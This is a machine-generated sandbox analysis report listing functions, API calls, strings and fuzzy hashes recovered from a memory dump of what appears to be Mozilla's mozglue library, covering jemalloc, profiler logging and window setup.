Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction ID: b3b9cb022db72f0e9f9477c7989f80cbda05744432ed32d297e3daa30a732aad
Opcode Fuzzy Hash: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction Fuzzy Hash: 965169707113235BDB009F36CD84A663AF8AB4A785F114925AA21F3A55EFB0F811CF6D

Function 6C6B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

, xrefs: 6C6B4CD2

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C69F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Part of subcall function 6C675C50: __aulldiv.LIBCMT ref: 6C675DB4
Part of subcall function 6C675C50: LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C69F155
GetCurrentThreadId.KERNEL32 ref: 6C69F1E0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F1ED
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F212
GetCurrentThreadId.KERNEL32 ref: 6C69F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F248
GetCurrentThreadId.KERNEL32 ref: 6C69F2AE
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F2BB
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F2F8

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F350
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F35D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F381
GetCurrentThreadId.KERNEL32 ref: 6C69F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F3A0
GetCurrentThreadId.KERNEL32 ref: 6C69F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F491

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F3CF

Part of subcall function 6C69F070: GetCurrentThreadId.KERNEL32 ref: 6C69F440
Part of subcall function 6C69F070: AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F44D
Part of subcall function 6C69F070: ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F4A8
GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561
GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C69F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 4cb49cd2e8061e87c9b4b231fee6b20f2df7199dfaaabf510f54abd1fa6f2fd0
Instruction ID: 74419fba93a6748ef766794b00d95a34a809e8270ab2221dbc72faede3565aa9
Opcode Fuzzy Hash: 4cb49cd2e8061e87c9b4b231fee6b20f2df7199dfaaabf510f54abd1fa6f2fd0
Instruction Fuzzy Hash: 2AD139316042019FDB009F66D8847A977F8EF87369F15462AF95583B81DB70B805CBAF

Function 6C6664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

nvdxgiwrap.dll, xrefs: 6C666513
user32.dll, xrefs: 6C666526
nvd3d9wrap.dll, xrefs: 6C666500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798
_etoured.dll, xrefs: 6C6664ED
detoured.dll, xrefs: 6C6664DA

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 6C67D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C67D904
LeaveCriticalSection.KERNEL32(?), ref: 6C67D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C67D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C67E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C67E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67E315
AcquireSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C67E37C
GetSystemInfo.KERNEL32(?), ref: 6C67E3C7
__Init_thread_footer.LIBCMT ref: 6C67E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6DE810,00000040), ref: 6C67E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7B8,00001388), ref: 6C67E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE744,00001388), ref: 6C67E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE784,00001388), ref: 6C67E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7DC,00001388), ref: 6C67E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE768,00001388), ref: 6C67E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C67E52E
ReleaseSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C67E54F

Part of subcall function 6C66D960: EnterCriticalSection.KERNEL32(?), ref: 6C66D999
Part of subcall function 6C66D960: EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66DA13

Strings

MALLOC_OPTIONS, xrefs: 6C67E3FF
: (malloc) Unsupported character in malloc options: ', xrefs: 6C67E6DD
Compile-time page size does not divide the runtime one., xrefs: 6C67E621
MOZ_CRASH(), xrefs: 6C67E62B
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67E560, 6C67E58A, 6C67E5A5
<jemalloc>, xrefs: 6C67E61C, 6C67E6CC

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: fc65f9435edddd54c3e4aa9483b46ff56f829e4af40b2a513b9941691e83d4f8
Instruction ID: 76ea3646499f32143a589c8e346c2385426a3e0c1043c65ab74aae4095a5dddf
Opcode Fuzzy Hash: fc65f9435edddd54c3e4aa9483b46ff56f829e4af40b2a513b9941691e83d4f8
Instruction Fuzzy Hash: A592CC71A056018FD724CF29C480755FBE1BF8A728F29CA6DE8698B791D331E841CBD9

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

~qel, xrefs: 6C67ED10
~qel, xrefs: 6C67ED13

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qel$~qel
API String ID: 3693777188-2922831641
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4
<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 6C6BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C6BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C6BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C6C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0ED4

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction ID: 09fc73846ed4e5b5e4925d412a24fb1bb0b96869d3e965f44c9892b77a9da60c
Opcode Fuzzy Hash: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction Fuzzy Hash: F063AD75E0025A8FCB04CFA8C8806DDFBB2FF89304F298269D855BB755D730A946CB95

Function 6C693E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>il,?,?,?,6C693E7D,?,?), ref: 6C6B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C693F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C693F5C
VerSetConditionMask.NTDLL ref: 6C693F8D
VerSetConditionMask.NTDLL ref: 6C693F99
VerSetConditionMask.NTDLL ref: 6C693FA0
VerSetConditionMask.NTDLL ref: 6C693FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C693FB4

Strings

nvinit.dll, xrefs: 6C694479
nvd3d9wrap.dll, xrefs: 6C694466
C>il, xrefs: 6C693E93

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>il$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-416255230
Opcode ID: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction ID: c4b7b43111936190e031cebce628acb0aecf7b3affde093ccdcb8ce31f9d9907
Opcode Fuzzy Hash: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction Fuzzy Hash: 2452F531614B459FDB10DF348480ABBB7E9AF86304F04096DE5978BB82CB74F909CB68

Function 6C66FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

MOZ_CRASH(), xrefs: 6C670CA7
